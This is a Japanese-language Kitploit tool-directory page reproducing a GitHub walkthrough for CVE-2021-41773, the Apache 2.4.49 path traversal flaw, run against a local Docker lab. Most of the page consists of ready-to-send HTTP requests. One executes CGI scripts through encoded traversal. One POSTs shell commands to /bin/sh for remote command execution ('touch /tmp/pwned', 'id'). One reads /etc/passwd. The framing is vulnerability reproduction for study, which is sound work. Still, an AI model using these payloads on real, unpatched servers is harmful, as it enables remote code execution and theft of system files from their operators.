Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-41773 — CVE-2021-41773 的复现 | Kitploit
ツール/GitHubGitHub/1nhann/cve-2021-41773
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHub1nhann/cve-2021-41773

CVE-2021-41773

CVE-2021-41773 的复现

リポジトリを見る
94134年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-41773 再現

https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited

v2.4.49 Apache 特有の脆弱性。初期バージョンには ap_normalize_path 関数は存在せず、この関数は v2.4.49 で導入された。この関数がディレクトリトラバーサルを引き起こし、v2.4.50 で修正された。

環境

https://github.com/1nhann/CVE-2021-41773

本環境では cgi モジュールがロードされている:

root@kitploit:~
LoadModule cgi_module modules/mod_cgi.so
root@kitploit:~
root@ubuntu:~/$ git clone https://github.com/1nhann/CVE-2021-41773.git
root@ubuntu:~/$ cd CVE-2021-41773
root@ubuntu:~/CVE-2021-41773$ docker build -t cve .
root@ubuntu:~/CVE-2021-41773$ docker run -d -p 12345:80 cve

コンテナ内: image-20211006213843476

poc

root@kitploit:~
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bash.cgi HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close


image-20211006210008166

ルートディレクトリの /bash.cgi が実行された。

ツールをダウンロード

getshell

Apache の CGI に関するドキュメントを参照:

STDIN and STDOUT

Other communication between the server and the client happens over standard input (STDIN) and standard output (STDOUT). In normal everyday context, STDIN means the keyboard, or a file that a program is given to act on, and STDOUT usually means the console or screen.

When you POST a web form to a CGI program, the data in that form is bundled up into a special format and gets delivered to your CGI program over STDIN. The program then can process that data as though it was coming in from the keyboard, or from a file

The "special format" is very simple. A field name and its value are joined together with an equals (=) sign, and pairs of values are joined together with an ampersand (&). Inconvenient characters like spaces, ampersands, and equals signs, are converted into their hex equivalent so that they don't gum up the works. The whole data string might look something like:

root@kitploit:~
name=Rich%20Bowen&city=Lexington&state=KY&sidekick=Squirrel%20Monkey

つまり、POST で送信されたパラメータは stdin の内容として、アクセスされた CGI プログラムに渡される。

もし /bin/sh にアクセスすれば、直接 getshell できる。

poc:

root@kitploit:~
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close

data=;touch /tmp/pwned

image-20211006213421718

コマンド実行結果を直接エコーバックすることも可能:

poc:

root@kitploit:~
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close

echo Content-Type: text/plain; echo; id

任意ファイル読み取り

cgi モジュールをロードしていない場合、アクセスされたファイルは実行されない:

root@kitploit:~
#LoadModule cgi_module modules/mod_cgi.so

poc:

root@kitploit:~
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close


image-20211006232521116